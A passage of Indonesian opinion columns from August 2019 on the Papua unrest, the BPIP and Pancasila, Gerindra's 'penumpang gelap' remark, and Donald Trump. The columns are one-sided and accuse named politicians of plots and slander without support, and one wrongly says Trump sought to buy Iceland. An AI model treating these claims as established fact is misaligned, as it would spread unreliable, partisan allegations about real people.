banyak dijumpai di Jakarta. Terbayang saya orang Papua yang menjadi Tuan atau pengendali si Topeng Monyet itu. Sebaliknya, si monyet melakukan semua perintah tuannya. Orang di luar Jakarta tidak begitu tahu Topeng Monyet. Yaitu, atraksi di jalan-jalan kampung yang menyalahgunakan monyet terlatih untuk cari duit alias ‘ngamen’. Leher monyet diikat dengan tali panjang. Diarak keliling kampung. Di suruh naik sepeda mini bolak-balik sepanjang talinya. Untuk menghibur warga. Si monyet tidak punya pilihan lain. Harus mengikuti perintah tuannya. Begitulah gambaran hubungan Jakarta-Papua saat ini. Orang Papua tak perlu membalas teriakan “monyet” dengan kata “monyet” juga. Cukup mereka balas dengan makna atraksi Topeng Monyet.* 24 Agustus 2019

Papua, “We Are Not Monkey”

Framing Abu Janda terhadap Front Pembela Islam (FPI) itu sudah sangat terlalu luar biasa! Seharusnya Kapolri Jenderal Polisi Tito Karnavian bertindak tegas. Karena, fakta di lapangan yang beredar dalam video-video, justru tampak ormas Doreng. Oleh Mochamad Toha Wartawan Senior Jakarta, FNN - Sejak berubah nama dari Provinsi Irian Jaya menjadi Papua (dan Papua Barat) pada waktu Pemerintahan Presiden Abdurrahman Wahid – Wapres Megawati Soekarnoputi, persoalan Papua memang begitu seksi untuk dijadikan “proyek politis”. Gelontoran dana Otonomi Khusus dari Pusat, ternyata belum sanggup “memakmurkan” warga Papua hingga kini. Konflik horizontal di Bumi Cendrawasih nyaris terjadi setiap saat. Beragam pemicu bisa menjadi pemantik kerusuhan di Papua. Provokasi yang terjadi di Asrama Mahasiswa Papua di Surabaya dan demo di Kota Malang, bermula dari umpatan nama penghuni “Kebun Binatang”, seperti “monyet” yang ditujukan kepada mahasiswa Papua menjadi pemantik kerusuhan. Ditambah lagi adanya provokasi dari akun Permadi Arya alias Abu Janda @permadiaktivis: gara2 FPI geruduk asrama Papua di Surabaya.. sekarang warga Papua marah tidak terima sampai rusuh bakar2an (6:54 PM - Aug 19, 2019). Framing Abu Janda terhadap Front Pembela Islam (FPI) itu sudah sangat terlalu luar biasa! Seharusnya Kapolri Jenderal Polisi Tito Karnavian bertindak tegas. Karena, fakta di lapangan yang beredar dalam video-video, justru tampak ormas Doreng. “Terbukti ormas cecunguk pengkhianat-cukong yang menyerang asrama mahasiswa Papua di Surabaya,” ungkap sumber Pepnews.com. Kepada para pengkhianat, jangan kalian main api dengan mengorbankan rakyat Papua dan umat Islam. Mengapa juga disebut umat Islam segala? Karena framing Abu Janda itulah, rakyat Papua yang tidak tahu peristiwa sebenarnya yang terjadi di Surabaya, langsung menyangka adanya keterlibatan FPI, sehingga sempat ada upaya menyerang masjid. Namun, upaya tersebut mendapat perlawanan umat Islam di Papua, sehingga tidak sampai terjadi bentrok. Setidaknya itulah yang terjadi pada Senin, 19 Agustus 2019, di Manokwari, Papua Barat, lokasi awal mula kerusuhan di Bumi Cendrawasih. Tudingan Abu Janda jelas sudah masuk kategori upaya pecah-belah antar umat beragama (Islam dan Kristen) di Papua. Apalagi, sebelum peristiwa Papua tersebut sudah menyebar video Ustadz Abdul Somad yang dianggap menghina Salib. Karena dianggap menghina simbol agama Nasrani itu, UAS dilaporkan sejumlah kelompok masyarakat ke Polisi. Menariknya, rekaman video yang dianggap menghina ini terjadinya sekitar 3 tahun lalu. Mengapa baru sekarang ini dipersoalkan? Siapa pengunggap rekaman video tersebut, menarik untuk ditelusuri. Karena, dari sinilah nanti bisa terungkap motif di balik penyebarannya. Dalam klarifikasinya, UAS menegaskan video ceramah itu adalah barang lama, tiga tahun lalu. UAS dilaporkan oleh organisasi massa Brigade Meo ke Polda NTT terkait ceramah UAS yang viral di media sosial dan dianggap meresahkan umat Nasrani. WE Online, Senin, 19 Agustus 2019 08:33 WIB mengutip penelusuran akun @nephilaxmus. Penelusuran dari akun twitter atas nama @nephilaxmus menemukan, ada lima cuitan dari beberapa akun yang mendorong kontroversi hukum melihat salib UAS ini yang menjadi viral belakangan ini. Dengan kata kunci penelusuran: ‘somad salib’. Akun Twitter @KatolikG merupakan akun yang terawal mengusung isu video hukum melihat salib UAS tersebut. Pada cuitannya, akun @KatolikG melampirkan postingan akun Instagram @katolik_garis_lucu yang berisi respons atas video ceramah UAS tersebut. Cuitan akun Twitter @KatolikG itu kemudian dibalas komentar beberapa akun, diantaranya akun @PosRonda551, yang memosting cuitan komentarnya pada 15 Agustus 2019 pukul 09.23 PM. Selanjutnya, akun Twitter lain yang mengawali isu ini yakni akun @TolakBigotRI pada 16 Agustus 2019. Dalam cuitannya akun ini prihatin dengan ceramah UAS ini. Sehari sebelum HUT Kemerdekaan RI-74, beberapa akun menggulirkan isu ceramah salib UAS yaitu akun @inspirasijiwa pada 16 Agustus 2019 pukul 12.22 PM. Akun lainnya yang mengomentari isu video ceramah UAS, yakni akun @Rudi_Tarigan yang memosting statusnya pada 16 Agustus 2019 pukul 12.38 PM mengomentari postingan dari akun @TolakBigotRI. Nah, itu adalah temuan akun @nephilaxmus, kalau penasaran, akun ini sudah menyilakan Anda bisa menelusuri sendiri melalui pencarian di Twitter dengan mengetikkan kata kunci 'somad salib'. Dari penelusuran akun @nephilaxmus tersebut sebenarnya sudah sangat jelas sekali. Bahwa di sini ada unsur kesengajaan dari pemosting untuk membenturkan UAS (Islam) dengan umat Nasrani, sehingga berpotensi muncul konflik antar agama. Ini yang kemudian membuat Lembaga Adat Melayu Riau (LAMR) menyatakan akan tetap mendampingi UAS berkaitan dengan kasus yang dituduhkan kepadanya. Pendampingannya terkait proses hukumnya. “Pasalnya, selain pengurus LAMR, UAS menyandang gelar adat kehormatan Melayu Riau, Datuk Seri Ulama Setia Negara,” kata Ketua Umum Majelis Kerapatan Adat (MKA) LAMR, Datuk Seri Al Azhar, dalam pernyataan pers di Pekanbaru, Senin (19/8/2019). Datuk Al Azhar menyampaikan hal tersebut didampingi oleh Ketum Dewan Pimpinan Harian (DPH) LAMR Datuk Seri Syahril Abubakar, menanggapi gencarnya pemberitaan tentang tuduhan UAS menista agama tertentu yang sampai dilaporkan ke kepolisian. Menurutnya, Datuk Seri Abdul Somad telah membuat klarifikasi atas tuduhan yang ditujukan kepadanya. Selain itu, materi yang dipermasalahkan terjadi tiga tahun lalu dan dibentangkan secara eksklusif. “Atas dasar itu, kami justru mempertanyakan mengapa baru sekarang materi ceramah UAS dipermasalahkan, setelah tiga tahun terjadi, apalagi ceramah itu bersifat eksklusif (tertutup),” katanya. Menurut Datuk Seri Syahril Abubakar, atas dasar itu pula pihaknya menduga, ada kepentingan lain di balik mempermasalahkan ceramah UAS tersebut. “Tapi kami yakin, berbagai pihak masih memiliki niat baik agar masalah ini tidak merusak hubungan harmonis anak bangsa, sehingga bisa diselesaikan secara baik,” ujarnya. Pihak UAS sendiri juga sudah melakukan klarifikasi bahwa hal tersebut disampaikan untuk menjawab pertanyaan jamaah tentang Nabi Isa dan patung menurut Islam. UAS mengklaim menjawab pertanyaan jamaah tersebut di dalam kajian tertutup, di Masjid Raya Annur Pekanbaru, di kajian rutin setiap Sabtu subuh, bukan tabligh akbar di lapangan terbuka atau di televisi. Jadi, nasib Papua itu sebenarnya tak ubahnya dengan nasib umat Islam. Mereka telah menjadi target operasi “proyek politis” dari kalangan elit tertentu di Jakarta. Apalagi, konon, hal ini masih ada kaitannya dengan bargaining susunan kabinet. Apalagi, pemantik kerusuhan Papua itu karena ada umpatan “monyet” yang ditujukan kepada mahasiswa Papua di Surabaya dari seorang yang diduga aparat. Dari sini pun bisa ditanyakan, mengapa dia harus berkata seperti itu, siapa yang perintahkan? Solusi atas ketersinggungan warga Papua hanya dengan permintaan maaf saja. Oknum aparat itu harus diproses secara hukum tanpa pandang bulu. Kasihan Papua, eksploitasi tambang di perut Bumi Cendrawasih “dikuasai” elit politik di Jakarta. Tak ada satupun orang Papua yang berani minta saham PT Freeport Indonesia, seperti yang telah dilakukan elit Jakarta, “Papa Minta Saham”. Tapi, Papua masih cukup beruntung bila dibandingkan dengan umat Islam di provinsi luar Papua. Meski mereka membawa bendera Bintang Kejora, toh tidak ada aparat berwenang yang berani merampas dan menangkapnya, meski di depan Istana Merdeka sekalipun. Ini berbeda dengan perlakukan terhadap umat Islam. Langsung dipersekusi! Apalagi sampai membawa Bendera Tauhid! Langsung dituding terpapar radikal, terlibat HTI, dan diburu aparat! Bahkan, ditembakin dengan peluru tajam, seperti saat demo di depan MK pada 21-22 Mei 2019 hingga menewaskan 9 orang. Demo Papua, tidak ada sebutir peluru tajam pun yang keluar dari senjata aparat. Yang terjadi justru sebaliknya. Aparat (polisi) malah dikejar-kejar pendemo yang menuntut Referendum dan Merdeka di Papua, Senin (19/8/2019). Kasihan Papua dan umat Islam yang sejatinya telah menjadi korban “proyek politik” demi sebuah tujuan elit politik di Jakarta. End.

Papua Membara, Mahfud MD Kok Bungkam ?

Ingat ya, gaji Mahfud MD per bulan diatas 100 juta rupiah. Umat ini berhak tahu, apa kinerja Mahfud sehingga punya hak atas gaji yang berasal dari pajak umat. Oleh Nasrudin Joha Jakarta, FNN - NKRI dirongrong di Papua, Pancasila dilecehkan di Papua, sang Saka Merah Putih di bakar di Papua. Hanya, saya merasa terheran-heran kenapa Begawan BPIP semua bungkam ? Mana suara Megawati ? Mana suara Try Sutrisno ? Mana suara Syafii Maarif ? Mana suara Said Aqil Siradj ? Mana suara Ma'aruf Amin ? Mana suara Sudhamek ? Mana suara Andreas Anangguru Yewangoe ?Mana suara Wisnu Bawa Tenaya? Dan yang lebih penting MANA SUARA BEGAWAN BPIP PALING GIGIH, MAHFUD MD ? Kalau urusan umat Islam, bendera tauhid, syariah Islam, mereka ini paling cerewet berkomentar. Syafi'i Ma'arif yang sudah udzur saja, nyinyir kepada wacana NKRI bersyariah, apalagi Mahfud MD. Tuding dana dari Arab ke pesantren untuk radikslisme, tuding pesantren di Jogja dan Magelang radikal. Tapi giliran di Papua, kok Ga ada satupun kalimat Twitt Mahfud yang membara menyebut OPM radikal ? Lantas, apa solusi Pancasila untuk mengatasi masalah separatisme OPM ? Melafadzkan sila-sila Pancasila sampai lidah kelu ? Meminta OPM berbaris dan beri hormat ke bendera merah putih ? Apa pula pertanggungjawaban Jokowi untuk Papua. Bukankah suara Jokowi di Papua luar biasa besar ? Lantas, kalau mereka pro Jokowi kenapa minta referendum pisah dari NKRI ? Apa kampanye politik Jokowi di Papua dulu menjanjikan referendum dan berpisah dari NKRI sehingga suara Jokowi luar biasa besar di Papua ? Atau keributan di Papua ini dalam rangka merealisir janji politik Jokowi ? Kembali ke Mahfud MD, saya jadi kepingin tahu apa resep mujarab sang profesor ini -yang telah kalah telak melawan tantangan Prof Suteki- untuk mengatasi masalah Papua. Apa akan mengadopsi ide Jokowi, yang saat pidato kebangsaan berkoar tidak ada toleransi bagi siapapun yang mau memecah belah bangsa. Tapi begitu OPM beraksi, kok jadi lembek ? Diminta saling memaafkan ? Ingat ya, gaji Mahfud MD per bulan diatas 100 juta rupiah. Umat ini berhak tahu, apa kinerja Mahfud sehingga punya hak atas gaji yang berasal dari pajak umat. Tidak mungkin lah, seorang Mahfud pergi ke Papua dalam konteks bertempur, seperti Banser. Banser saja ngeles minta payung hukum. Tapi paling tidak Mahfud kan bisa ngetwit ? Komentar, kasih perspektif Pancasila mengenai persoalan Papua. Jangan hanya menjadi kompor kebangsaan berdalih suluh kebangsaan, menebar tudingan ditengah kalangan pesantren tanpa punya rasa malu. Meskipun begitu, saya termasuk orang yang sabar menanti pernyataan Mahfud. Bagaimanapun, dia telah terima gaji BPIP. Karena itu, dia wajib bekerja dan bertanggung jawab secara moral kepada publik. Semoga, Mahfud MD diberi kemudahan dan kelancaran, agar lisannya mampu bersuara untuk Papua. Kita, sebagai sesama anak bangsa sangat menunggu peran dan kiprah Mahfud MD dalam menjaga dan membumikan nilai-nilai Pancasila.

Jangan Cemaskan Pancasila, Sejak Lama Pancasila Memang Sudah Tak Ada?

Secara formal iya, pancasila masih ada. Di sekolah-sekolah, setiap Senin pada saat upacara bendera, sila-sila Pancasila masih terus dibacakan. Penulis sendiri, sejak SD sering menjadi pembawa naskah Pancasila untuk diserahkan kepada pembina upacara, sering juga justru menjadi komandan upacara. Namun, secara subtantif apakah Pancasila masih ada ? Oleh Nasrudin Joha Jakarta, FNN - Kehadiran BPIP dianggap sebagai respons negara atas rongrongan terhadap Pancasila. Diharapkan, BPIP mampu membina dan mengarahkan corak keberpancasilaan bangsa dan negara. Bahkan, untuk urusan ini negara merogoh kocek yang diambil dari kantong rakyat (pajak) untuk menggaji ratusan juta rupiah untuk memberi jatah bulanan Kepada begawan - begawan BPIP. Tak peduli, apakah secara subtantif BPIP bermanfaat. Yang jelas, secara formal telah melembaga, biar terlihat gagah memang semua harus di lembagakan. Biar bisa memindahkan duit dari kantong rakyat ke kantong BPIP, tentunyahhh. Tak jelas, apa tupoksi BPIP. Yang muncul, BPIP sering nyinyir terhadap umat Islam dan isu-isu keislaman. Terkait OPM, yang jelas mengancam Pancasila dan NKRI, BPIP terlihat irit komentar, jika mengeluarkan statement pun, sangat hati-hati. Sebenarnya, apakah pancasila terancam, sehingga butuh BPIP ? Apakah publik NKRI perlu mencemaskan Pancasila ? Sebelum menjawab pertanyaan ini, justru kita semua, publik NKRI patut bertanya, apakah Pancasila masih ada ? Secara formal iya, pancasila masih ada. Di sekolah-sekolah, setiap Senin pada saat upacara bendera, sila-sila Pancasila masih terus dibacakan. Penulis sendiri, sejak SD sering menjadi pembawa naskah Pancasila untuk diserahkan kepada pembina upacara, sering juga justru menjadi komandan upacara. Namun, secara subtantif apakah Pancasila masih ada ? Mari kita ulas. Menarik sekali, pernyataan Surya Paloh yang menyebut negara ini adalah negara kapitalis liberal, bukan Pancasila. Pernyataan ini, adalah pernyataan Sahih, meski motifnya karena rebutan jatah kursi menteri. Negeri ini memang sejak lama menerapkan ideologi kapitalisme sekuler, dengan berbagai corak dan varian. Saat ini, negeri ini sedang menerapkan mutan kapitalisme yang berevolusi menjadi kapitalisme liberal. Lebih liberal ketimbang kapitalisme pasar. Jika pada era Soekarno, Pancasila secara subtantif ditafsirkan dengan mahzab sosialistik dibuktikan dengan proyek nasionalisasi sejumlah aset privat milik Belanda menjadi BUMN. Era Soeharto, negeri ini telah sah menerapkan kapitalisme barat. Jadi, ketika itu pertarungan ideologi kspitalisme barat dan sosialisme China, bertarung untuk mensarah (menafsir) makna Pancasila. Secara subtantif, Pancasila tidak pernah ada. Pancasila, sejak orba hingga saat ini hanya dijadikan sebagai alat untuk menggebuk lawan politik. Dalam kasus HTI misalnya, HTI dituding anti Pancasila, sementara nilai-nilai Pancasila anti korupsi. Faktanya, yang menuding dan mencabut BHP HTI justru yang banyak kena kasus korupsi. PDIP, Golkar, PKB, PPP, semua pengalaman dalam urusan korupsi. Saat ini, misalnya, nilai Pancasila tidak pernah diterapkan sebagaimana dahulu Pancasila juga hanya menjadi slogan-slogan kosong tanpa isi. Justru, ideologi barat sekuler dan asosialisme China yang eksis dan berebut pengaruh di negeri ini. Penguasaan aset dan tambang oleh asing, Import TKA China, utang yang menggunung, kemiskinan yang akut, sulitnya akses kesehatan bagi rakyat kecil, ancaman disintegrasi Papua, dll. apalah semua ini bentuk implementasi nilai-nilai Pancasila ? Kalau iya, berarti jelek sekali Pancasila itu. Kalau bukan, berarti jelas Pancasila memang tak pernah ada dan diterapkan di negari ini. Kalau realitasnya Pancasila memang tak ada dan tak pernah diterapkan, jadi wajar saja kita tidak perlu mencemaskan Pancasila. Tak perlu pusing menjaga Pancasila dengan membentuk BPIP atau semisalnya. Biarkan, Pancasila eksis sebatas dongeng seperti cerita Sangkuriang atau Bandung Bondowoso. Saya sepakat, Pancasila tak perlu dicemaskan. Karena, Pancasila sudah sejak lama memang tak pernah ada secara kenyataan.

Pak Dasco, Mana "Penumpang Gelap" Itu?

Tiba-tiba, entah apa dasarnya, Anda memunculkan istilah ‘penumpang gelap’ di kubu 02. Ini sangat menyakitkan banyak orang. Anda harus jelaskan siapa mereka. Pak Dasco, Anda harus pertanggungjawabkan fitnah ini. Oleh Asyari Usman Jakarta, FNN - Kita tinggalkan sejenak soal Papua. Kembali dulu ke isu pilpres. Tepatnya ke soal “penumpang gelap” di kubu Prabowo. Sebab, isu ini belum tuntas. Tidak bisa didiamkan begitu saja. Julukan ini terlanjur meciptakan kekeruhan. Menimbulkan keresahan. Publik menebak-nebak siapa gerangan ‘penumpang gelap’ itu. Orang yang selama ini berada di sekitar Prabowo, semuanya bisa menjadi tertuduh. Termasuk para habaib, ulama, ustads, relawan, emak-emak, dlsb. Dan juga para kader Gerindra garis lurus. Kalau yang garis bengkok tak akan menjadi tertuduh penumpang gelap. Mereka malah menggelapkan penumpang atau membuat penumpang menjadi gelap. Wakil ketua umum Gerindra, Sufmi Dasco Ahmad, harus menjelaskan siapa itu ‘penumpang gelap’ yang dia katakan mau membenturkan Prabowo Subianto (PS) dengan pihak yang berkuasa. Dasco yang memulai istilah itu. Dia yang memunculkan tuduhan itu. Dia yang menebar fitnah itu. Sekarang, Pak Dasco, Anda harus gentlemen. Anda harus tunjukkan ke publik siapa-siapa itu ‘penumpang gelap’ yang Anda maksudkan. Anda tidak boleh lepas tangan setelah Anda mulai fitnah itu. Yang Anda sebut ‘penumpang gelap’ itu membuat banyak orang tak nyaman. Fitnah Anda itu seakan-akan tertuju kepada para habaib, para ulama, para ustadz yang selama ini mendukung Prabowo. Seolah-olah tertuju kepada para relawan, emak-emak, dan simpatisan Prabowo. Anda sebutkan bahwa ‘penumpang gelap’ itu adalah orang-orang yang tak setuju dengan anjuran agar tidak ada aksi damai di Mahkamah Konstitusi (MK) ketika akan berlangsung sidang gugatan hasil pilpres 2019. Tuduhan Anda, Pak Dasco, sangat liar. Sangat berbahaya. Banyak orang bisa risih dan resah. Sebab, ada puluhan ribu orang yang merasa perlu mengawal sidang di MK itu. Dan mereka sama sekali tidak punya maksud membuat keonaran. Tidak bermaksud melaga-laga siapa pun. Mereka hanya ingin menunjukkan solidaritas kepada Prabowo dan ingin agar keadilan bisa menang di MK. Tiba-tiba, entah apa dasarnya, Anda memunculkan istilah ‘penumpang gelap’ di kubu 02. Ini sangat menyakitkan banyak orang. Anda harus jelaskan siapa mereka. Pak Dasco, Anda harus pertanggungjawabkan fitnah ini. Pak Fadli Zon, yang juga wakil ketua umum Gerindra, sudah membantah keberadaan ‘penumpang gelap’ di kubu Prabowo. Setelah itu, tak ada angin tak ada hujan, muncul tulisan buzzer bayaran Anda yang memuji-muji Habib Rizieq. Tulisan ini seolah ingin meredam tudingan ‘penumpang gelap’ ke arah Habib, ke arah para ulama. Kalau Anda tidak menjelaskan soal ‘penumpang gelap’ itu, maka tidak keliru kalau ada yang berkesimpulan bahwa Anda memang ingin para ulama dan umat Islam tidak lagi bersama Prabowo. Ini mirip dengan kejadian ketika seorang ketua umum partai yang mengatakan bahwa partai dia tidak perlu suara umat Islam. Menurut hemat saya, sikap tegas ketum partai itu malah lebih bagus. Lebih terhormat. Dia terus-terang mengatakan partai beliau tak memerlukan suara umat Islam. Nah, sebaiknya Anda pun berterus terang saja. Katakan dengan tegas bahwa Anda dan Gerindra tak perlu umat Islam. Ini lebih baik ketimbang Anda munculkan istilah ‘penumpang gelap’ yang salah satu arahnya tertuju ke para ulama dan umat Islam. Juga tertuju kepada para relawan dan emak-emak yang boleh dikatakan 100% berasal dari latarbelakang umat Islam. Jadi, Pak Dasco, kami imbau sekali lagi agar Anda menjelaskan siapa saja ‘penumpang gelap’ di kubu 02. Agar semuanya menjadi jelas. Berbagai pihak telah menyampaikan desakan agar ‘penumpang gelap’ di kubu Prabowo diungkap saja identitasnya. Dibuka saja. Supaya tidak terus liar. Agar bisa diketahui apakah mereka para ulama atau bukan. Atau, kalau bukan ulama, berarti ‘penumpag gelap’ itu adalah mereka yang juga ‘penumpang terang’. Harap diingat, para ulama dan umat Islam berperan besar mengantarkan Prabowo ke posisi tawar (bargaining position) politik seperti sekarang ini. Dukungan kuat umat Islam di seluruh pelosok Indonesia di pilpres 2019 ini membuat Parbowo bisa menjadi figur yang diakui kekuatan politiknya oleh pihak lawan. Sayangnya, Anda bertindak ceroboh dengan isu ‘penumpang gelap’. Inilah tudingan yang menyakitkan para ulama dan umat Islam, seandainya merekalah yang Anda maksud. Sangat tendensius. Sekali lagi, kalau Anda dan Gerindra tak perlu umat, lebih baik dikatakan saja dengan tegas. Anda tidak harus membuat fitnah ‘penumpang gelap’ untuk mengusir ulama dan umat dari lingkaran Prabowo. Umat akan pergi dengan sukarela. Banyak kok yang harus diurus oleh para ulama dan umat. Jadi, Pak Dasco, tolong jawab mana Penumpang Gelap itu? (23 Agustus 2019)

Donald Trump dan Reputasi Amerika

Sejak terpilihnya, banyak yang mengira jika Donald Trump hanya memainkan politik “cowboy” yang cenderung tidak peduli dengan perasaan orang lain. Sikap dan kata-katanya seringkali tidak menggambarkan sebagai seorang presiden (unpresidential). By Shamsi Ali Imam di Kota New York York, NewFNN - Ternyata kebesaran dan harga diri sebuah negara tidak saja ditentukan oleh kebesaran ukurannya atau kekayaan dan keindahan alamnya. Tidak juga hanya dengan jumlah penduduk dan kemajuan perekonomiannya. Atau ketinggian inovasi sains dan teknologinya. Kebesaran dan kehormatan sebuah negara sedikit banyaknya juga ditentukan oleh siapa yang menjadi pemimpinnya. Pemimpin negara seolah menjadi representasi kecil atau cermin mini dari sebuah negara itu sendiri. Saya teringat di saat Indonesia baru merdeka, merangkak membangun jati diri dalam segala lini kehidupannya. Indonesia ketika itu secara perekonomian lemah, secara militer lemah, secara politik masih dalam proses mencari jatidiri. Bahkan secara sosial rentang mengami disintegrasi karena daerah-daerah baru dalam integrasi. Namun Indonesia justeru di awal-awal kemerdekaannya itu tampil menjadi singa Asia, bahkan salah satu pemimpin dunia yang disegani. Satu di antara sekian banyak kebanggaan itu adalah Indonesia menjadi salah satu pionir berdirinya Gerakan Non Blok (Non Align Movement). Konferensi Asia Afrika yang diinisiasi oleh Presiden Soekarno di Bandung merupakan cikal bakal terwujudnya Gerakan Non Blok itu. Kini perhimpunan negara-negara dunia ketiga yang lebih dikenal dengan singkatan GNB itu menjadi organisasi dengan anggota terbesar dari negara-negara anggota PBB. Reputasi dan kehormatan yang diraih oleh Indonesia dalam segala keterbatasan itu ternyata salah satunya karena kapabilitas, reputasi dan kharisma pemimpinnya. Dunia menghormati dan memuliakan Indonesia karena kehormatan dan kemuliaan pemimpinnya, Soekarno. Reputasi Amerika Secara ekonomi dan politik, apalagi secara militer, saya tidak pernah meragukan kebesaran dan kehebatan Amerika. Amerika dengan segala kekurangannya, yang dapat kita bicarakan pada kesempatan lain, masih negara super power dunia. Apalagi jika merujuk kepada dasar-dasar kenegaraan, Konstitusi dan nilai-nilai luhur (values) yang menjadi pijakan bagi bangsa Amerika dalam menjalani kehidupan berbangsa dan bernegara. Menjadikan Amerika salah satu negara yang paling solid dalam kehidupan publiknya. Yang justeru mengkhawatirkan, bahkan pada tingkatan tertentu memalukan bangsa Amerika saat ini adalah kenyataan bahwa Presidennya mengalami “mental state” (suasana kejiwaan) yang kurang stabil. Sejak terpilihnya, banyak yang mengira jika Donald Trump hanya memainkan politik “cowboy” yang cenderung tidak peduli dengan perasaan orang lain. Sikap dan kata-katanya seringkali tidak menggambarkan sebagai seorang presiden (unpresidential). Dalam perjalanannya menghuni Gedung Putih ternyata semakin nampak jika sang presiden negara adi daya ini memang tidak stabil dalam kejiwaannya. Keadaan itu terindikasi secara jelas dari kata-kata yang kerap tidak menentu. Berubah setiap saat, seolah berbicara tanpa pertimbangan apapun. Contoh terakhir sebagai misal saja, bagaimana sang presiden menjuluki Perdana Menteri Denmark dengan kata “nasty”, persis seperti yang disebutkan untuk Hillary dalam beberapa kesempatan debat calon presiden saat itu. Kata “nasty” atau “absurd” yang ditujukan kepada PM Denmark itu jelas bukan ekspresi seseorang yang dewasa, apalagi seorang presiden. Dan itu disebabkan karena ada keinginan Donald Trump membeli sebuah pulau yang berbadan otonom di negara itu. Pulau itu adalah Iceland. Tapi PM Denmark menolak keinginan Donald Trump. Penolakan ini oleh Donald Trump dianggap penghinaan yang berujung dengan tuduhan “nasty” atau kotor. Ini bukan pertama kali terjadi. Hal sama dilakukan dengan Perdana Menteri Inggris ketika itu, Theresa, menyerangnya secara kasar melalui akun Twitternya. Sikap dan kata sang presiden ini menjadikan banyak warga Amerika merasa risih, bahkan malu. Bagaimanapun juga presiden sebuah negara menjadi simbol terdepan dari negara itu. Dalam dua hari terakhir ini sang presiden malah menyampaikan hal-hal yang entah itu disadari atau tidak, tapi sangat mengganggu akal rasional bangsa Amerika. Dalam sebuah kesempatan Donald Trump dijuluki oleh seorang penyiar radio sebagai “King of Israel”, penyelamat bangsa Israel. Kita pahami bahwa kata King of Israel dalam bahasa Kitab Suci berarti tuhan itu sendiri. Maka dalam hal ini Donald Trump sedang diposisikan sebagai tuhan. Anehnya Donald Trump malah senang dan bangga dijuluki sebagai King of Israel itu. Dia mengirimkan Twitter dan berterima kasih kepada penyiar radio itu. Di kesempatan lain Donald Trump mengaku sebagai “the Chosen” (orang terpilih) untuk menerapkan tarif dagang yang tinggi kepada China. Kata “chosen” dalam bahasa biblical (kitab suci) berarti seorang utusan atau rasul dalam bahasa umumnya. Keterlibatan Donald Trump dalam pencekalan dua anggota Kongress untuk mengunjungi Israel, Ilhan Omar dan Rashid Tlaib, juga menjadi indikator penting dari ketidak becusan itu. Kunjungan ke Israel merupakan tradisi tahunan anggota Kongress sebagai simbol kedekatan dan dukungan Amerika ke negara itu. Tapi kali ini nuansa itu berubah. Dengan adanya dua anggota Kongress yang beragama Islam, bahkan satunya memang putrì keturunan Palestina, kunjungan itu tidak lagi secara otomatis sebagai dukungan dan persahabatan. Tapi sekaligus sebagai “fact finding mission” atau misi mencari kebenaran di lapangan. Tentu hal ini bagi sebagian yang punya kepentingan berbahaya. Karena selama ini boleh jadi banyak fakta di lapangan yang tidak disampaikan secara jujur kepada bangsa Amerika. Karenanya bangsa Amerika sudah cukup lama “misguided” atau “misled” dalam hal konflik Palestina-Israel. Yang paling aneh dalam kasus ini adalah bahwa Presiden Amerika sendiri yang berkolabirasi dengan Perdana Menteri Israel mencekal anggota Kongress untuk berkunjung. Sungguh realita terbalik di mana presiden sebuah negara harusnya membela warganya, apalagi anggota legislatif, jika diperlakukan tidak senonoh oleh bangsa lain. Terlalu panjang jika semua kejadian yang tidak pantas dan berkaitan dengan presiden Amerika ini disampaikan semuanya. Tapi saya kira bukti terbesar dari ketidak stabilan mentalitas presiden Amerika ini adalah ketika dengan serta merta menjadikan musuh semua yang tidak setuju dengannya. Satu bukti yang paling nyata adalah bahwa dalam masa singkat menduduki Gedung Putih, puluhan staf tinggi negara ini mengundurkan diri atau dipecat. Anehnya hampir semua staf yang mundur atau dipecat itu “turn their backs” alias berbalik dari mendukung menjadi menyerang Doland Trump. Contoh yang paling nyata adalah lawyer pribadinya, Michael Cohen. Akhirnya ketidak stabilan itu juga kembali diekspresikan kemarin hari. Dalam sebuah pernyataannya Donald Trump menyampaikan bahwa jika komunitas Yahudi mendukung Democrat maka itu berarti mereka tidak loyal (disloyal) kepada agama Yahudi dan Israel. Pernyataan ini jelas sangat merendahkan komunitas Yahudi. Seolah dukungan Donald Trump selama ini hanya karena kepentingan “suara” semata. Wajar saja, di satu sisi Donald Trump mendukung sepenuhnya Israel. Tapi di sisi lain pendukung fanatiknya dari kalangan White Supremacy dengan brutal dan kejam menyerang dan membunuh warga Yahudi di Amerika. Jangan terkejut dengan kenyataan paradoks itu. Karena Donald Trump sendiri adalah sosok yang penuh dengan karakter paradoks... * Imam di Kota New York.

Orang Papua Buat Pucat Para Penguasa Indonesia

Biarlah orang Papua berbuat sesuka hati. Mau mengibarkan bendera Bintang Kejora, silakan. Padahal, kalau itu dilakukan oleh orang Sumatera, Jawa, Kalimantan atau Sulawesi, sudah pasti langsung masuk penjara. Dikenai pasal makar. Oleh Asyari Usman Jakarta, FNN - Indonesia akan melakukan apa saja untuk Papua asal jangan minta merdeka. Kira-kira begitulah suasana hubungan antara Jakarta dan orang Papua saat ini. Sejak peristiwa kerusuhan di Manokwari, Sorong, dan tempat lain, bisa dibayangkan wajah para penguasa Indonesia. Mereka semua pucat. Pucat-pasi. Takut orang Papua mengamuk besar-besaran. Suasana pucat itu bisa terlihat dari reaksi diam pihak keamanan ketika menghadapi tindakan makar orang Papua. Pembakaran gedung DPRD di Manokwari cenderung dibiarkan. Pembakaran bendera Merah-Putih juga tidak diapa-apakan. Takut sekali gejolak Papua Merdeka berkembang liar. Para penguasa, penegak hukum, para pengawal NKRI baik itu institusi negara maupun pengawal swasta semisal Banser, pada waktu ini berada pada posisi tak berani maju. Bukan karena mereka tidak kuat atau tidak memiliki peralatan. Tetapi karena mereka harus menghindari perangkap eskalasi tindak kekerasan. Sebab, begitu tindak kekerasan mulai memakan korban, terutama di pihak Papua, hampir pasti konflik kekerasan akan membesar. Kalau eskalasinya tak terkendali, sangat mungkin orang-orang Papua yang selama ini sudah berjiwa NKRI pun akan memberikan simpati kepada sesama orang Papua. Sangat tak masuk akal kalau orang Papua akan membantu pihak yang sedang berhadapan dengan mereka. Jadi, semakin pahamlah kita mengapa pemerintah berusaha meredam konflik. Semakain mengertilah kita mengapa peristiwa semacam kerusuhan Manokwari itu membuat para petinggi menjadi pucat gemetar. Mereka sangat ketakutan. Takut pekik Papua Merdeka akan “terdengar” ke luar. Sebab, jika teriakan itu menggema di luar, akan banyaklah negara simpatisan Papua yang siap memberikan dukungan. Jangankan setelah jatuh korban tindak kekerasan, pada waktu relatif tenteram seperti sekarang ini saja sudah sangat banyak negara luar, khususnya rumpun Melanesia, yang siap menmbantu perjuangan Papua. Menghindarkan tindak kekerasan dengan korban orang Papua, adalah psikologi 